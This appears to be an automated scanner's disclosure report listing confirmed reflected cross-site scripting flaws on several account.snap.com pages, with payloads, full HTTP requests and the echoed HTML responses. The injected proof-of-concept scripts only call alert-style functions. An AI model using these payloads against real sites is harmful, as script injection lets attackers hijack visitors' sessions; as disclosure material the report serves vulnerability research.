XSS, Cross Site Scripting in account.snap.com/login.php, CWE-79, CAPEC-86, DORK, GHDB

- /signup.php/%22%20stYle=%22x:expre/**/ssion(alert(9))

/signup.php/%22%20stYle=%22x:expre/**/ssion(alert(9)) CONFIRMED

https://account.snap.com/signup.php/%22%20stYle=%22x:expre/**/ssion(alert(9))

Parameters

Parameter	Type	Value
URI-BASED	Raw URI	/" stYle="x:expre/**/ssion(alert(9))

Request

GET /signup.php/%22%20stYle=%22x:expre/**/ssion(netsparker(9)) HTTP/1.1
Referer: https://account.snap.com/login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: account.snap.com
Cookie: PHPSESSID=5785bfecc05e8df1ec358b638a7b4947
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 21:10:48 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script><script type='text/javascript'>function toggle_section(num) { si = document.getElementById('section_'+num+'_img'); sd = document.getElementById('section_'+num+'_div'); sm = document.getElementById('section_'+num+'_more'); if (si.src.indexOf('/images/icon-more.gif') >= 0) { sd.style.display = 'inline'; sm.style.display = 'none'; si.src = '/images/icon-less.gif'; } else { sd.style.display = 'none'; sm.style.display = 'inline'; si.src = '/images/icon-more.gif'; }}</script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script>var currentTab = 'customize';</script><div id="tip1" class="tooltip">With this option enabled, a small icon will be added at <br />the end of your active links, signaling to your users <br />which of your links have Snap Shots and which do not.</div> <div id="tip2" class="tooltip">With this option enabled, the trigger hot-zone for the Snap Shots <br />will be limited to the link icon only, which in turn will decrease <br />the chances of your users accidentally triggering Snap Shots.</div><div id="tip3" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on your own site. Not recommended for sites <br />where all pages look the same, unless they have RSS.</div><div id="tip4" class="tooltip">With this option enabled, all Shots on your site will be displayed <br />as the default thumbnail screen-capture. Selecting this option <br />severely limits the level of interactivity of Snap Shots.</div><div id="tip5" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on other sites.</div><script type="text/javascript">/* Prototype JavaScript framework, version 1.4.0 * (c) 2005 Sam Stephenson <sam@conio.net> * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://prototype.conio.net/ */*--------------------------------------------------------------------------*/var Prototype = { Version: '1.4.0', ScriptFragment: '(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)', emptyFunction: function() {}, K: function(x) {return x}}var Class = { create: function() { return function() { this.initialize.apply(this, arguments); } }}var Abstract = new Object();Object.extend = function (destination, source) { for (property in source) { destination[property] = source[property]; } return destination;}Object.inspect = function(object) { try { if (object == undefined) return 'undefined'; if (object == null) return 'null'; return object.inspect ? object.inspect() : object.toString(); } catch (e) { if (e instanceof RangeError) return '...'; throw e; }}/*** XXX: the default prototype bind leaks memory like a sieve *** XXX: see prototype_extensions.js for the safe version */Function.prototype.bind = function() { var __method = this, args = $A(arguments), object = args.shift(); return function() { return __method.apply(object, args.concat($A(arguments))); }}/***/Function.prototype.bindAsEventListener = function(object) { var __method = this; return function(event) { return __method.call(object, event || window.event); }}Object.extend(Number.prototype, { toColorPart: function() { var digits = this.toString(16); if (this < 16) return '0' + digits; return digits; }, succ: function() { return this + 1; }, times: function(iterator) { $R(0, this, true).each(iterator); return this; }});var Try = { these: function() { var returnValue; for (var i = 0; i < arguments.length; i++) { var lambda = arguments[i]; try { returnValue = lambda(); break; } catch (e) {} } return returnValue; }}/*** SnapShot ***/SnapShot = Class.create();Object.extend(SnapShot.prototype, { initialize: function () { this.time = new Array(); }, store: function () { var index = this.time.length; this.time[index] = new Date();// this.time[index].start_time = new Date(); }, reset: function () { this.time = new Array(); }, // the elapsed time of the watch. if the watch hasn't been stopped, get the time that has elapsed so far peek: function () { }, alert: function () { window.alert(this.peek()); }});MultiSnapShot = Class.create();Object.extend(MultiSnapShot.prototype, { initialize: function() { this.watches = {}; }, store: function(w) { if (! this.watches[w]) this.watches[w] = new SnapShot(); this.watches[w].store(); }, reset_all: function() { this.watches = {}; }, output: function() { str = ''; for (var w in this.watches) { if (typeof w != 'function') { for (var i = 0; i < this.watches[w].time.length; i++) { str += '&'+w+'_'+i+'='+this.watches[w].time[i].getTime(); } } } return str; }});/*--------------------------------------------------------------------------*/var PeriodicalExecuter = Class.create();PeriodicalExecuter.prototype = { initialize: function(callback, frequency) { this.callback = callback; this.frequency = frequency; this.currentlyExecuting = false; this.registerCallback(); }, registerCallback: function() { setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, onTimerEvent: function() { if (!this.currentlyExecuting) { try { this.currentlyExecuting = true; this.callback(); } finally { this.currentlyExecuting = false; } } }}/*--------------------------------------------------------------------------*/function $() { var elements = new Array(); for (var i = 0; i < arguments.length; i++) { var element = arguments[i]; if (typeof element == 'string') element = document.getElementById(element); if (arguments.length == 1) return element; elements.push(element); } return elements;}Object.extend(String.prototype, { stripTags: function() { return this.replace(/<\/?[^>]+>/gi, ''); }, stripScripts: function() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); }, extractScripts: function() { var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); return (this.match(matchAll) || []).map(function(scriptTag) { return (scriptTag.match(matchOne) || ['', ''])[1]; }); }, evalScripts: function() { return this.extractScripts().map(eval); },/* escapeHTML: function() { var div = document.createElement('div'); var text = document.createTextNode(this); div.appendChild(text); return div.innerHTML; }, *//* unescapeHTML: function() { var div = document.createElement('div'); div.innerHTML = this.stripTags(); return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; }, */ toQueryParams: function() { var pairs = this.match(/^\??(.*)$/)[1].split('&'); return pairs.inject({}, function(params, pairString) { var pair = pairString.split('='); params[pair[0]] = pair[1]; return params; }); }, toArray: function() { return this.split(''); }, camelize: function() { var oStringList = this.split('-'); if (oStringList.length == 1) return oStringList[0]; var camelizedString = this.indexOf('-') == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0]; for (var i = 1, len = oStringList.length; i < len; i++) { var s = oStringList[i]; camelizedString += s.charAt(0).toUpperCase() + s.substring(1); } return camelizedString; }, inspect: function() { return "'" + this.replace('\\', '\\\\').replace("'", '\\\'') + "'"; }});String.prototype.parseQuery = String.prototype.toQueryParams;var $break = new Object();var $continue = new Object();var Enumerable = { each: function(iterator) { var index = 0; try { this._each(function(value) { try { iterator(value, index++); } catch (e) { if (e != $continue) throw e; } }); } catch (e) { if (e != $break) throw e; } }, all: function(iterator) { var result = true; this.each(function(value, index) { result = result && !!(iterator || Prototype.K)(value, index); if (!result) throw $break; }); return result; }, any: function(iterator) { var result = true; this.each(function(value, index) { if (result = !!(iterator || Prototype.K)(value, index)) throw $break; }); return result; }, collect: function(iterator) { var results = []; this.each(function(value, index) { results.push(iterator(value, index)); }); return results; }, detect: function (iterator) { var result; this.each(function(value, index) { if (iterator(value, index)) { result = value; throw $break; } }); return result; }, findAll: function(iterator) { var results = []; this.each(function(value, index) { if (iterator(value, index)) results.push(value); }); return results; },/* grep: function(pattern, iterator) { var results = []; this.each(function(value, index) { var stringValue = value.toString(); if (stringValue.match(pattern)) results.push((iterator || Prototype.K)(value, index)); }) return results; }, */ include: function(object) { var found = false; this.each(function(value) { if (value == object) { found = true; throw $break; } }); return found; }, inject: function(memo, iterator) { this.each(function(value, index) { memo = iterator(memo, value, index); }); return memo; },/* invoke: function(method) { var args = $A(arguments).slice(1); return this.collect(function(value) { return value[method].apply(value, args); }); }, */ max: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value >= (result || value)) result = value; }); return result; }, min: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value <= (result || value)) result = value; }); return result; }, partition: function(iterator) { var trues = [], falses = []; this.each(function(value, index) { ((iterator || Prototype.K)(value, index) ? trues : falses).push(value); }); return [trues, falses]; }, pluck: function(property) { var results = []; this.each(function(value, index) { results.push(value[property]); }); return results; }, reject: function(iterator) { var results = []; this.each(function(value, index) { if (!iterator(value, index)) results.push(value); }); return results; },/* sortBy: function(iterator) { return this.collect(function(value, index) { return {value: value, criteria: iterator(value, index)}; }).sort(function(left, right) { var a = left.criteria, b = right.criteria; return a < b ? -1 : a > b ? 1 : 0; }).pluck('value'); }, */ toArray: function() { return this.collect(Prototype.K); }, zip: function() { var iterator = Prototype.K, args = $A(arguments); if (typeof args.last() == 'function') iterator = args.pop(); var collections = [this].concat(args).map($A); return this.map(function(value, index) { iterator(value = collections.pluck(index)); return value; }); }, inspect: function() { return '#<Enumerable:' + this.toArray().inspect() + '>'; }}Object.extend(Enumerable, { map: Enumerable.collect, find: Enumerable.detect, select: Enumerable.findAll, member: Enumerable.include, entries: Enumerable.toArray});var $A = Array.from = function(iterable) { if (!iterable) return []; if (iterable.toArray) { return iterable.toArray(); } else { var results = []; for (var i = 0; i < iterable.length; i++) results.push(iterable[i]); return results; }}Object.extend(Array.prototype, Enumerable);Array.prototype._reverse = Array.prototype.reverse;Object.extend(Array.prototype, { _each: function(iterator) { for (var i = 0; i < this.length; i++) iterator(this[i]); }, clear: function() { this.length = 0; return this; }, first: function() { return this[0]; }, last: function() { return this[this.length - 1]; }, compact: function() { return this.select(function(value) { return value != undefined || value != null; }); }, flatten: function() { return this.inject([], function(array, value) { return array.concat(value.constructor == Array ? value.flatten() : [value]); }); }, without: function() { var values = $A(arguments); return this.select(function(value) { return !values.include(value); }); }, indexOf: function(object) { for (var i = 0; i < this.length; i++) if (this[i] == object) return i; return -1; }, reverse: function(inline) { return (inline !== false ? this : this.toArray())._reverse(); }, shift: function() { var result = this[0]; for (var i = 0; i < this.length - 1; i++) this[i] = this[i + 1]; this.length--; return result; }, inspect: function() { return '[' + this.map(Object.inspect).join(', ') + ']'; }});var Hash = { _each: function(iterator) { for (key in this) { var value = this[key]; if (typeof value == 'function') continue; var pair = [key, value]; pair.key = key; pair.value = value; iterator(pair); } }, keys: function() { return this.pluck('key'); }, values: function() { return this.pluck('value'); }, merge: function(hash) { return $H(hash).inject($H(this), function(mergedHash, pair) { mergedHash[pair.key] = pair.value; return mergedHash; }); },/* toQueryString: function() { return this.map(function(pair) { return pair.map(encodeURIComponent).join('='); }).join('&'); }, */ inspect: function() { return '#<Hash:{' + this.map(function(pair) { return pair.map(Object.inspect).join(': '); }).join(', ') + '}>'; }}function $H(object) { var hash = Object.extend({}, object || {}); Object.extend(hash, Enumerable); Object.extend(hash, Hash); return hash;}ObjectRange = Class.create();Object.extend(ObjectRange.prototype, Enumerable);Object.extend(ObjectRange.prototype, { initialize: function(start, end, exclusive) { this.start = start; this.end = end; this.exclusive = exclusive; }, _each: function(iterator) { var value = this.start; do { iterator(value); value = value.succ(); } while (this.include(value)); }, include: function(value) { if (value < this.start) return false; if (this.exclusive) return value < this.end; return value <= this.end; }});var $R = function(start, end, exclusive) { return new ObjectRange(start, end, exclusive);}var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject('Msxml2.XMLHTTP')}, function() {return new ActiveXObject('Microsoft.XMLHTTP')}, function() {return new XMLHttpRequest()} ) || false; }, activeRequestCount: 0}Ajax.Responders = { responders: [], _each: function(iterator) { this.responders._each(iterator); }, register: function(responderToAdd) { if (!this.include(responderToAdd)) this.responders.push(responderToAdd); }, unregister: function(responderToRemove) { this.responders = this.responders.without(responderToRemove); }, dispatch: function(callback, request, transport, json) { this.each(function(responder) { if (responder[callback] && typeof responder[callback] == 'function') { try { responder[callback].apply(responder, [request, transport, json]); } catch (e) {} } }); }};Object.extend(Ajax.Responders, Enumerable);Ajax.Responders.register({ onCreate: function() { Ajax.activeRequestCount++; }, onComplete: function() { Ajax.activeRequestCount--; }});Ajax.Base = function() {};Ajax.Base.prototype = { setOptions: function(options) { this.options = { method: 'post', asynchronous: true, parameters: '' } Object.extend(this.options, options || {}); }, responseIsSuccess: function() { return this.transport.status == undefined || this.transport.status == 0 || (this.transport.status >= 200 && this.transport.status < 300); }, responseIsFailure: function() { return !this.responseIsSuccess(); }}Ajax.Request = Class.create();Ajax.Request.Events = ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];Ajax.Request.prototype = Object.extend(new Ajax.Base(), { initialize: function(url, options) { this.transport = Ajax.getTransport(); this.setOptions(options); this.request(url); }, request: function(url) { var parameters = this.options.parameters || ''; // XXX: commented out by Barry because he has no concept of how this could be relevant (03/02/2006) // if (parameters.length > 0) parameters += '&_='; try { this.url = url; if (this.options.method == 'get' && parameters.length > 0) this.url += (this.url.match(/\?/) ? '&' : '?') + parameters; Ajax.Responders.dispatch('onCreate', this, this.transport); this.transport.open(this.options.method, this.url, this.options.asynchronous); if (this.options.asynchronous) { this.transport.onreadystatechange = this.onStateChange.bind(this); setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); } this.setRequestHeaders(); var body = this.options.postBody ? this.options.postBody : parameters; this.transport.send(this.options.method == 'post' ? body : null); } catch (e) { this.dispatchException(e); } }, setRequestHeaders: function() { var requestHeaders = ['X-Requested-With', 'XMLHttpRequest', 'X-Prototype-Version', Prototype.Version]; if (this.options.method == 'post') { requestHeaders.push('Content-type', 'application/x-www-form-urlencoded'); /* Force "Connection: close" for Mozi..

- /forgot_password.php

/forgot_password.php CONFIRMED

https://account.snap.com/forgot_password.php

Parameters

Parameter	Type	Value
email	POST	'"--></style></script><script>alert(0x000232)</script>

Request

POST /forgot_password.php HTTP/1.1
Referer: https://account.snap.com/forgot_password.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: account.snap.com
Cookie: PHPSESSID=5785bfecc05e8df1ec358b638a7b4947
Content-Length: 91
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

email='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000232)%3c%2fscript%3e

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 22:29:40 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Content-Length: 3022
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Forgot Password</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<div id="top-cap"></div><div id="wrapper"><div id="leftSide"><h1>Forgot Your Password</h1><div id="colCombine"> <form id="forgot_password" name="forgot_password" action="/forgot_password.php" method="post"><p class="alert">The email address was invalid. Please try again.</p><p>If you can't remember your email, you can <a href="/signup.php">sign-up for a new Snap Shots account</a>.</p> <div id="enterInfo" style="margin:0 15px"> <div> <h2>Please Enter Your Email</h2> </div> <div> <h5>Your Email:</h5> <input type="text" class="text" name="email" value="'"--></style></script><script>netsparker(0x000232)</script>"> </div> <div class="btn"> <img onclick="javascript:document.forgot_password.submit();" src="/images/btn-sendPW.gif" width="240" height="31" alt="Send Password" title="Send Password" /> </div> <div class="dotted"> <p> <h5>Already have Snap Shots on your site but no account?</h5> <a href="/importsettings.php">Click here</a> to create an account based on your current settings. </p> </div> </div> </form> </div></div><div id="rightSide"> <div class="sidebar"> <h4>Recent Blog Posts</h4> </div></div><div class="clear"></div></div><div id="bottom-cap"></div><div id="footer">
<div id="logo">
<a href="http://snap.com/"><img src="/images/footer-logo.gif" alt="Snap" title="Snap" /></a>
</div>
<div id="footlinks">
<a href="http://snap.com/about/about.php">About</a> | <a href="http://blog.snap.com/">Blog</a> | <a href="http://snap.com/about/feedbk.php">Feedback</a> | <a href="http://snap.com/about/downloads.php">Download</a> | <a href="http://snap.com/about/privacy.php">Privacy</a> | <a href="http://snap.com/about/terms.php">Terms</a>
</div>
</div>
<script src="https://ssl.google-analytics.com/urchin.js" type="text/javascript"></script><script type="text/javascript">_udn = document.domain;_uacct = "UA-2209883-1";if (typeof currentTab == "string") { urchinTracker("/forgot_password.php#" + currentTab);} else { urchinTracker();}</script><form id="login_form" method="POST" action="login.php"> <input type="hidden" name="tab" value="1"></form></div></body></html>

- /importsettings.php

/importsettings.php CONFIRMED

https://account.snap.com/importsettings.php

Parameters

Parameter	Type	Value
email	POST	'"--></style></script><script>alert(0x000244)</script>
key	POST	3

Request

POST /importsettings.php HTTP/1.1
Referer: https://account.snap.com/importsettings.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: account.snap.com
Cookie: PHPSESSID=5785bfecc05e8df1ec358b638a7b4947
Content-Length: 97
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

email='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000244)%3c%2fscript%3e&key=3

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 22:30:00 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Content-Length: 5281
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script type="text/javascript" language="javascript">// <! Tooltip Functions function xstooltip_findPosX(obj) { var curleft = 0; if (obj.offsetParent) { while (obj.offsetParent) { curleft += obj.offsetLeft obj = obj.offsetParent; } } else if (obj.x) curleft += obj.x; return curleft;}function xstooltip_findPosY(obj) { var curtop = 0; if (obj.offsetParent) { while (obj.offsetParent) { curtop += obj.offsetTop obj = obj.offsetParent; } } else if (obj.y) curtop += obj.y; return curtop;}function xstooltip_show(tooltipId, parentId, posX, posY){ it = document.getElementById(tooltipId); if ((it.style.top == '' || it.style.top == 0) && (it.style.left == '' || it.style.left == 0)) { // need to fixate default size (MSIE problem) it.style.width = it.offsetWidth + 'px'; it.style.height = it.offsetHeight + 'px'; img = document.getElementById(parentId); // if tooltip is too wide, shift left to be within parent if (posX + it.offsetWidth > img.offsetWidth) posX = img.offsetWidth - it.offsetWidth; if (posX < 0 ) posX = 0; x = xstooltip_findPosX(img) + posX; y = xstooltip_findPosY(img) + posY; it.style.top = y + 'px'; it.style.left = x + 'px'; } it.style.visibility = 'visible'; }function xstooltip_hide(id){ it = document.getElementById(id); it.style.visibility = 'hidden'; }// ]]></script><div id="top-cap"></div><div id="wrapper"><div id="tip1" class="tooltip"> Your Shots Key was created when you signed up for Snap Shots and can be <br /> found inside the Snap Shots JavaScript tag (view source) on any page where <br /> you currently have Snap Shots enabled. <br /><br /> Example of Snap Shots JavaScript tag: <br /> <script type="text/javascript" src="http://shots.snap.com/snap_shots.js?ap=1<br /> &key=<b>29b1ec081f2bf5401db979cf98f6b845</b>&th=silver..."></script></div> <div class="clear"></div><div id="leftSide"><h1>Import Your Old Snap Shots Settings</h1><form action="/importsettings.php" method="post"> <div id="column2"> <input type="hidden" name="email" value="'"--></style></script><script>netsparker(0x000244)</script>"> <input type="hidden" name="key" value="3"> <input type="hidden" name="retry" value="1"> <ul id="Failed"> <li> <h2 class="red0">Validation Failed: Bad Match</h2> </li> <li> We were unable to find a match between the Email and Site URL that you provided. </li> <li> <h5>Email</h5> '"--></style></script><script>netsparker(0x000244)</script> </li> <li> <h5>Site URL</h5> 3 </li> <li> Please make sure that both the Email and the Site URL are correct and feel free to try again. </li> <li> Or, if you would rather just keep going right now, you can choose to start fresh with a new account and a new Snap Shots installation. </li> <li> <div class="l"> <a href="/signup.php"><img src="/images/btn-createNew.gif" width="160" height="31" alt="Create New Account" title="Create New Account" /></a> </div> <div class="r"> <input type="image" class="image" src="/images/btn-tryAgain.gif" width="156" height="31" alt="Try Again" title="Try Again" /> </div> </li> <div class="clear"></div> </ul> </form> </div> <div id="column1"> </div></div><div class="clear"></div></div><div id="bottom-cap"></div><div id="footer">
<div id="logo">
<a href="http://snap.com/"><img src="/images/footer-logo.gif" alt="Snap" title="Snap" /></a>
</div>
<div id="footlinks">
<a href="http://snap.com/about/about.php">About</a> | <a href="http://blog.snap.com/">Blog</a> | <a href="http://snap.com/about/feedbk.php">Feedback</a> | <a href="http://snap.com/about/downloads.php">Download</a> | <a href="http://snap.com/about/privacy.php">Privacy</a> | <a href="http://snap.com/about/terms.php">Terms</a>
</div>
</div>
<script src="https://ssl.google-analytics.com/urchin.js" type="text/javascript"></script><script type="text/javascript">_udn = document.domain;_uacct = "UA-2209883-1";if (typeof currentTab == "string") { urchinTracker("/importsettings.php#" + currentTab);} else { urchinTracker();}</script></div></body></html>

- /importsettings.php

/importsettings.php CONFIRMED

https://account.snap.com/importsettings.php

Parameters

Parameter	Type	Value
email	POST	netsparker@example.com
key	POST	'"--></style></script><script>alert(0x000248)</script>

Request

POST /importsettings.php HTTP/1.1
Referer: https://account.snap.com/importsettings.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: account.snap.com
Cookie: PHPSESSID=5785bfecc05e8df1ec358b638a7b4947
Content-Length: 120
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

email=netsparker%40example.com&key='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000248)%3c%2fscript%3e

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 22:30:03 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Content-Length: 5323
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script type="text/javascript" language="javascript">// <! Tooltip Functions function xstooltip_findPosX(obj) { var curleft = 0; if (obj.offsetParent) { while (obj.offsetParent) { curleft += obj.offsetLeft obj = obj.offsetParent; } } else if (obj.x) curleft += obj.x; return curleft;}function xstooltip_findPosY(obj) { var curtop = 0; if (obj.offsetParent) { while (obj.offsetParent) { curtop += obj.offsetTop obj = obj.offsetParent; } } else if (obj.y) curtop += obj.y; return curtop;}function xstooltip_show(tooltipId, parentId, posX, posY){ it = document.getElementById(tooltipId); if ((it.style.top == '' || it.style.top == 0) && (it.style.left == '' || it.style.left == 0)) { // need to fixate default size (MSIE problem) it.style.width = it.offsetWidth + 'px'; it.style.height = it.offsetHeight + 'px'; img = document.getElementById(parentId); // if tooltip is too wide, shift left to be within parent if (posX + it.offsetWidth > img.offsetWidth) posX = img.offsetWidth - it.offsetWidth; if (posX < 0 ) posX = 0; x = xstooltip_findPosX(img) + posX; y = xstooltip_findPosY(img) + posY; it.style.top = y + 'px'; it.style.left = x + 'px'; } it.style.visibility = 'visible'; }function xstooltip_hide(id){ it = document.getElementById(id); it.style.visibility = 'hidden'; }// ]]></script><div id="top-cap"></div><div id="wrapper"><div id="tip1" class="tooltip"> Your Shots Key was created when you signed up for Snap Shots and can be <br /> found inside the Snap Shots JavaScript tag (view source) on any page where <br /> you currently have Snap Shots enabled. <br /><br /> Example of Snap Shots JavaScript tag: <br /> <script type="text/javascript" src="http://shots.snap.com/snap_shots.js?ap=1<br /> &key=<b>29b1ec081f2bf5401db979cf98f6b845</b>&th=silver..."></script></div> <div class="clear"></div><div id="leftSide"><h1>Import Your Old Snap Shots Settings</h1><form action="/importsettings.php" method="post"> <div id="column2"> <input type="hidden" name="email" value="netsparker@example.com"> <input type="hidden" name="key" value="'"--></style></script><script>netsparker(0x000248)</script>"> <input type="hidden" name="retry" value="1"> <ul id="Failed"> <li> <h2 class="red0">Validation Failed: Bad Match</h2> </li> <li> We were unable to find a match between the Email and Site URL that you provided. </li> <li> <h5>Email</h5> netsparker@example.com </li> <li> <h5>Site URL</h5> '"--></style></script><script>netsparker(0x000248)</script> </li> <li> Please make sure that both the Email and the Site URL are correct and feel free to try again. </li> <li> Or, if you would rather just keep going right now, you can choose to start fresh with a new account and a new Snap Shots installation. </li> <li> <div class="l"> <a href="/signup.php"><img src="/images/btn-createNew.gif" width="160" height="31" alt="Create New Account" title="Create New Account" /></a> </div> <div class="r"> <input type="image" class="image" src="/images/btn-tryAgain.gif" width="156" height="31" alt="Try Again" title="Try Again" /> </div> </li> <div class="clear"></div> </ul> </form> </div> <div id="column1"> </div></div><div class="clear"></div></div><div id="bottom-cap"></div><div id="footer">
<div id="logo">
<a href="http://snap.com/"><img src="/images/footer-logo.gif" alt="Snap" title="Snap" /></a>
</div>
<div id="footlinks">
<a href="http://snap.com/about/about.php">About</a> | <a href="http://blog.snap.com/">Blog</a> | <a href="http://snap.com/about/feedbk.php">Feedback</a> | <a href="http://snap.com/about/downloads.php">Download</a> | <a href="http://snap.com/about/privacy.php">Privacy</a> | <a href="http://snap.com/about/terms.php">Terms</a>
</div>
</div>
<script src="https://ssl.google-analytics.com/urchin.js" type="text/javascript"></script><script type="text/javascript">_udn = document.domain;_uacct = "UA-2209883-1";if (typeof currentTab == "string") { urchinTracker("/importsettings.php#" + currentTab);} else { urchinTracker();}</script></div></body></html>

- /importsettings.php

/importsettings.php CONFIRMED

https://account.snap.com/importsettings.php

Parameters

Parameter	Type	Value
email	POST	'"--></style></script><script>alert(0x000491)</script>
key	POST	3
x	POST	0
y	POST	0

Request

POST /importsettings.php HTTP/1.1
Referer: https://account.snap.com/importsettings.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: account.snap.com
Cookie: PHPSESSID=4329620185993f511f5aa3410492abe9
Content-Length: 105
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

email='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000491)%3c%2fscript%3e&key=3&x=0&y=0

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 22:39:14 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Content-Length: 5281
Connection: close
